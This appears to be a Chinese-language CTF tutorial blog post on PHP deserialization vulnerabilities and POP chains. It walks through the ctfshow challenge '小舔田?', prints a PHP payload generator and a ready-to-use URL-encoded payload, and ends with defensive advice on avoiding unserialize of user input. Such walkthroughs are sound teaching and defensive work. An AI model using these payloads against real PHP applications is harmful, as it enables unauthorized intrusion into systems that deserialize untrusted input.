PHP 反序列化漏洞与 POP 链详解:网络安全小白从零入门

文章目录

    • [0. 前言](#0. 前言)
    • [1. 什么是序列化与反序列化?](#1. 什么是序列化与反序列化?)
    • [2. 什么是 POP 链?](#2. 什么是 POP 链?)
      • [常用魔术方法(POP 链必备)](#常用魔术方法(POP 链必备))
    • [3. 真实 CTF 题目解析( ctfshow-菜狗杯-小舔田?)](#3. 真实 CTF 题目解析( ctfshow-菜狗杯-小舔田?))
    • [4. 这道题的 POP 链完整流程](#4. 这道题的 POP 链完整流程)
    • [5. Payload 生成脚本(本地运行即可)](#5. Payload 生成脚本(本地运行即可))
    • [6. 实际利用效果](#6. 实际利用效果)
    • [7. 如何防范反序列化漏洞?](#7. 如何防范反序列化漏洞?)
    • [8. 总结](#8. 总结)

0. 前言

今天这篇文章,笔者会从CTF学习的角度,从零带你搞懂:

  • 什么是序列化 / 反序列化?
  • 什么是 POP 链?
  • 如何构造一条简单的 POP 链?
  • CTF 例题(小舔田?)完整解析

读完后,你不仅能自己构造 payload,还能理解为什么反序列化是 Web 安全里"高危漏洞"之一。


1. 什么是序列化与反序列化?

序列化(serialize) :把 PHP 的对象、数组等复杂数据,变成一个字符串,方便存储到文件、数据库或通过网络传输。

反序列化(unserialize) :把这个字符串再变回原来的对象

简单代码演示

php 复制代码
<?php
class User {
    public $name = "张三";
    public $age = 18;
}

$user = new User();
$serialized = serialize($user);     // 对象 → 字符串
echo $serialized;                   // 输出:O:4:"User":2:{s:4:"name";s:6:"张三";s:3:"age";i:18;}

$newUser = unserialize($serialized); // 字符串 → 对象
var_dump($newUser);                 // 又变回 User 对象
?>

正常用途:保存用户会话、缓存数据、API 通信。

漏洞产生原因 :如果程序直接把用户可控的字符串 传给 unserialize(),攻击者就能"变出"任意对象,并触发对象里的代码!

php 复制代码
// 危险代码(真实漏洞常见写法)
if (isset($_GET['data'])) {
    $obj = unserialize($_GET['data']);   // ← 用户输入直接反序列化!
}

2. 什么是 POP 链?

POP = Property Oriented Programming(面向属性编程)

它和二进制里的 ROP(Return Oriented Programming)思想一模一样:

  • ROP:在内存里找很多小代码片段,通过栈溢出把它们"链"起来执行 shell。
  • POP:在 PHP 代码里找已经存在的类和方法 (尤其是魔术方法),通过控制对象的属性(property),把这些方法"链"起来,最终执行我们想要的操作(输出 flag、写文件、命令执行等)。

核心思路
unserialize() → 触发魔术方法 → 触发下一个方法 → ... → 执行敏感代码

POP 链的"发动机"就是 PHP 魔术方法 (Magic Methods)。它们不需要手动调用,在特定时机自动触发

常用魔术方法(POP 链必备)

魔术方法 触发时机 常见用途
__wakeup() 对象被 unserialize() 后立刻触发 最常见的 POP 链起点
__toString() 对象被当作字符串使用时触发(如 echo $obj 字符串拼接、输出
__destruct() 对象被销毁时触发(脚本结束) 延迟执行
__invoke() 对象被当作函数调用时触发 ($obj()) 执行任意函数
__get() 访问不存在的属性时触发 属性劫持

3. 真实 CTF 题目解析( ctfshow-菜狗杯-小舔田?)

下面是题目源码:

php 复制代码
<?php
include "flag.php";
highlight_file(__FILE__);

class Moon{
    public $name="月亮";
    public function __toString(){
        return $this->name;
    }
    
    public function __wakeup(){
        echo "我是".$this->name."快来赏我";
    }
}

class Ion_Fan_Princess{
    public $nickname="牛夫人";

    public function call(){
        global $flag;
        if ($this->nickname=="小甜甜"){
            echo $flag;
        }else{
            echo "以前陪我看月亮的时候,叫人家小甜甜!现在新人胜旧人,叫人家".$this->nickname."。\n";
            echo "你以为我这么辛苦来这里真的是为了这条臭牛吗?是为了你这个没良心的臭猴子啊!\n";
        }
    }
    
    public function __toString(){
        $this->call();
        return "\t\t\t\t\t\t\t\t\t\t----".$this->nickname;
    }
}

if (isset($_GET['code'])){
    unserialize($_GET['code']);

}else{
    $a=new Ion_Fan_Princess();
    echo $a;
}


以前陪我看月亮的时候,叫人家小甜甜!现在新人胜旧人,叫人家牛夫人。 你以为我这么辛苦来这里真的是为了这条臭牛吗?是为了你这个没良心的臭猴子啊! ----牛夫人

默认访问 (不带 code)会输出牛夫人的台词。


4. 这道题的 POP 链完整流程

链路
Moon::__wakeup() → Ion_Fan_Princess::__toString() → Ion_Fan_Princess::call()

一步步拆解

  1. unserialize($_GET['code']) → 反序列化得到 Moon 对象
  2. 自动触发 Moon::__wakeup()
  3. __wakeup() 执行 echo "我是" . $this->name . "快来赏我";
    • 因为 $this->nameIon_Fan_Princess 对象,PHP 会自动调用它的 __toString()
  4. __toString() 先执行 $this->call()
  5. call() 判断 $nickname == "小甜甜"echo $flag

我们只需要构造

  • 一个 Moon 对象
  • 把它的 $name 属性设置为 Ion_Fan_Princess 对象
  • Ion_Fan_Princess$nickname 设置为 "小甜甜"

5. Payload 生成脚本(本地运行即可)

php 复制代码
<?php
class Moon {
    public $name;          // 我们要控制的属性
}

class Ion_Fan_Princess {
    public $nickname;      // 要设置为"小甜甜"
}

// 构造对象
$a = new Moon();
$a->name = new Ion_Fan_Princess();
$a->name->nickname = "小甜甜";

// 生成 payload
$payload = serialize($a);
echo "原始序列化字符串:\n" . $payload . "\n\n";
echo "URL 编码后(直接用于 ?code= 后面):\n" . urlencode($payload) . "\n";
?>

运行后得到的 URL 编码 payload(直接复制使用):

复制代码
?code=O%3A4%3A%22Moon%22%3A1%3A%7Bs%3A4%3A%22name%22%3BO%3A16%3A%22Ion_Fan_Princess%22%3A1%3A%7Bs%3A8%3A%22nickname%22%3Bs%3A9%3A%22%E5%B0%8F%E7%94%9C%E7%94%9C%22%3B%7D%7D

6. 实际利用效果

访问题目地址 + 上面 payload 后:

  • 先触发 __wakeup() 输出 "我是小甜甜快来赏我"
  • 然后 __toString() 调用 call()
  • 最终输出 flag

7. 如何防范反序列化漏洞?

  1. 永远不要直接反序列化用户输入

    php 复制代码
    // 正确做法
    if (isset($_GET['data'])) {
        $data = json_decode($_GET['data'], true);  // 优先用 JSON
    }
  2. 使用白名单类(PHP 7.4+ 推荐)

    php 复制代码
    unserialize($str, ['allowed_classes' => ['AllowedClass1', 'AllowedClass2']]);
  3. 禁用魔术方法 (高级)

    __wakeup() 中抛异常或返回 false。

  4. 代码审计 checklist

    • 搜索 unserialize(base64_decode( + unserialize
    • 检查是否有 __wakeup__destruct 等魔术方法
    • 检查全局变量(如 $flag)是否可被读取

8. 总结

一句话总结

反序列化漏洞 = 程序帮攻击者"变出"任意对象;POP 链 = 用对象属性把魔术方法像搭积木一样连起来,最终执行敏感代码。

这道题的 POP 链 就是最基础的教学案例:__wakeup__toString → 普通方法 call()

最后思考 :安全从来不是"加固",而是"从设计之初就拒绝不信任的输入"。下次看到 unserialize 就要警惕!

相关推荐
数厘2 小时前
2.3MySQL 表结构设计:提升 SQL 查询性能的关键
android·sql·mysql
Kiri霧2 小时前
Kotlin递归
android·开发语言·kotlin
普通网友2 小时前
Android开发:使用Kotlin+协程+自定义注解+Retrofit的网络框架
android·kotlin·retrofit
常利兵2 小时前
Kotlin抽象类与接口:相爱相杀的编程“CP”
android·开发语言·kotlin
Arkerman_Liwei2 小时前
Android 新开发模式深度实践:Kotlin + 协程 + Flow+MVVM
android·开发语言·kotlin
xinhuanjieyi2 小时前
MCP分析某wordpress网站 时间所在的背景动画,并用php框架webman复刻下来
开发语言·php
jwn9992 小时前
Laravel1.x:PHP框架的初心与革新
开发语言·php
蹦哒2 小时前
Kotlin DSL 风格编程详解
android·开发语言·kotlin
fetasty3 小时前
chroot的Linux服务配置-当云服务器真正用起来
android·linux·服务器